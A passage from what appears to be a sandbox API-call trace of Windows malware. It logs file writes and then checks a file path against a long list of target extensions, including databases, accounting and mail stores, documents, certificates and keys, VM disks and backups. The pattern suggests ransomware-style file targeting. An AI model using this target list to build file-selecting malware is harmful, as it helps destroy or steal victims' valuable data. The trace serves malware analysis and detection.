lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.991] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.992] CloseHandle (hObject=0x94) returned 1 [0091.992] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\", lpString2="1FpdUu4EPqD5NE4.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf" [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.ems") returned 0 [0091.992] lstrlenA (lpString="*.ems") returned 5 [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.db") returned 0 [0091.992] lstrlenA (lpString="*.db") returned 4 [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.dbf") returned 0 [0091.992] lstrlenA (lpString="*.dbf") returned 5 [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.myox") returned 0 [0091.992] lstrlenA (lpString="*.myox") returned 6 [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.myo") returned 0 [0091.992] lstrlenA (lpString="*.myo") returned 5 [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.qbw") returned 0 [0091.992] lstrlenA (lpString="*.qbw") returned 5 [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.qbb") returned 0 [0091.992] lstrlenA (lpString="*.qbb") returned 5 [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.qbm") returned 0 [0091.992] lstrlenA (lpString="*.qbm") returned 5 [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.qbo") returned 0 [0091.992] lstrlenA (lpString="*.qbo") returned 5 [0091.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.qbx") returned 0 [0091.992] lstrlenA (lpString="*.qbx") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.qba") returned 0 [0091.993] lstrlenA (lpString="*.qba") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.qby") returned 0 [0091.993] lstrlenA (lpString="*.qby") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.qbj") returned 0 [0091.993] lstrlenA (lpString="*.qbj") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.ofx") returned 0 [0091.993] lstrlenA (lpString="*.ofx") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.qif") returned 0 [0091.993] lstrlenA (lpString="*.qif") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.mye") returned 0 [0091.993] lstrlenA (lpString="*.mye") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.mbox") returned 0 [0091.993] lstrlenA (lpString="*.mbox") returned 6 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.eml") returned 0 [0091.993] lstrlenA (lpString="*.eml") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.pst") returned 0 [0091.993] lstrlenA (lpString="*.pst") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.ost") returned 0 [0091.993] lstrlenA (lpString="*.ost") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.idx") returned 0 [0091.993] lstrlenA (lpString="*.idx") returned 5 [0091.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.dbx") returned 0 [0091.993] lstrlenA (lpString="*.dbx") returned 5 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.sql") returned 0 [0091.994] lstrlenA (lpString="*.sql") returned 5 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.mdb") returned 0 [0091.994] lstrlenA (lpString="*.mdb") returned 5 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.fdb") returned 0 [0091.994] lstrlenA (lpString="*.fdb") returned 5 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.wab") returned 0 [0091.994] lstrlenA (lpString="*.wab") returned 5 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.dat") returned 0 [0091.994] lstrlenA (lpString="*.dat") returned 5 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.txt") returned 0 [0091.994] lstrlenA (lpString="*.txt") returned 5 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.jpeg") returned 0 [0091.994] lstrlenA (lpString="*.jpeg") returned 6 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.jpg") returned 0 [0091.994] lstrlenA (lpString="*.jpg") returned 5 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.png") returned 0 [0091.994] lstrlenA (lpString="*.png") returned 5 [0091.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.php") returned 0 [0091.995] lstrlenA (lpString="*.php") returned 5 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.cs") returned 0 [0091.995] lstrlenA (lpString="*.cs") returned 4 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.cpp") returned 0 [0091.995] lstrlenA (lpString="*.cpp") returned 5 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.rar") returned 0 [0091.995] lstrlenA (lpString="*.rar") returned 5 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.zip") returned 0 [0091.995] lstrlenA (lpString="*.zip") returned 5 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.html") returned 0 [0091.995] lstrlenA (lpString="*.html") returned 6 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.htm") returned 0 [0091.995] lstrlenA (lpString="*.htm") returned 5 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.xlsx") returned 0 [0091.995] lstrlenA (lpString="*.xlsx") returned 6 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.xls") returned 0 [0091.995] lstrlenA (lpString="*.xls") returned 5 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.mp4") returned 0 [0091.995] lstrlenA (lpString="*.mp4") returned 5 [0091.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.ppt") returned 0 [0091.996] lstrlenA (lpString="*.ppt") returned 5 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.pptx") returned 0 [0091.996] lstrlenA (lpString="*.pptx") returned 6 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.doc") returned 0 [0091.996] lstrlenA (lpString="*.doc") returned 5 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.dot") returned 0 [0091.996] lstrlenA (lpString="*.dot") returned 5 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.docx") returned 0 [0091.996] lstrlenA (lpString="*.docx") returned 6 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.7z") returned 0 [0091.996] lstrlenA (lpString="*.7z") returned 4 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.tar") returned 0 [0091.996] lstrlenA (lpString="*.tar") returned 5 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.bz2") returned 0 [0091.996] lstrlenA (lpString="*.bz2") returned 5 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.gz") returned 0 [0091.996] lstrlenA (lpString="*.gz") returned 4 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.mkv") returned 0 [0091.996] lstrlenA (lpString="*.mkv") returned 5 [0091.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.eml") returned 0 [0091.997] lstrlenA (lpString="*.eml") returned 5 [0091.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.msg") returned 0 [0091.997] lstrlenA (lpString="*.msg") returned 5 [0091.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.edb") returned 0 [0091.997] lstrlenA (lpString="*.edb") returned 5 [0091.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.accdb") returned 0 [0091.997] lstrlenA (lpString="*.accdb") returned 7 [0091.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.odb") returned 0 [0091.997] lstrlenA (lpString="*.odb") returned 5 [0091.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.java") returned 0 [0091.997] lstrlenA (lpString="*.java") returned 6 [0091.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.asm") returned 0 [0091.997] lstrlenA (lpString="*.asm") returned 5 [0091.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.pfx") returned 0 [0091.997] lstrlenA (lpString="*.pfx") returned 5 [0091.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.pem") returned 0 [0091.997] lstrlenA (lpString="*.pem") returned 5 [0091.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.p12") returned 0 [0091.997] lstrlenA (lpString="*.p12") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.gpg") returned 0 [0091.998] lstrlenA (lpString="*.gpg") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.vsd") returned 0 [0091.998] lstrlenA (lpString="*.vsd") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.odg") returned 0 [0091.998] lstrlenA (lpString="*.odg") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.raw") returned 0 [0091.998] lstrlenA (lpString="*.raw") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.nef") returned 0 [0091.998] lstrlenA (lpString="*.nef") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.svg") returned 0 [0091.998] lstrlenA (lpString="*.svg") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.psd") returned 0 [0091.998] lstrlenA (lpString="*.psd") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.vmx") returned 0 [0091.998] lstrlenA (lpString="*.vmx") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.vmdk") returned 0 [0091.998] lstrlenA (lpString="*.vmdk") returned 6 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.vdi") returned 0 [0091.998] lstrlenA (lpString="*.vdi") returned 5 [0091.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.lay6") returned 0 [0091.999] lstrlenA (lpString="*.lay6") returned 6 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.mpeg") returned 0 [0091.999] lstrlenA (lpString="*.mpeg") returned 6 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.djvu") returned 0 [0091.999] lstrlenA (lpString="*.djvu") returned 6 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.tiff") returned 0 [0091.999] lstrlenA (lpString="*.tiff") returned 6 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.backup") returned 0 [0091.999] lstrlenA (lpString="*.backup") returned 8 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.pdf") returned 0 [0091.999] lstrlenA (lpString="*.pdf") returned 5 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.cert") returned 0 [0091.999] lstrlenA (lpString="*.cert") returned 6 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.docm") returned 0 [0091.999] lstrlenA (lpString="*.docm") returned 6 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.xlsm") returned 0 [0091.999] lstrlenA (lpString="*.xlsm") returned 6 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.dwg") returned 0 [0091.999] lstrlenA (lpString="*.dwg") returned 5 [0091.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.nd") returned 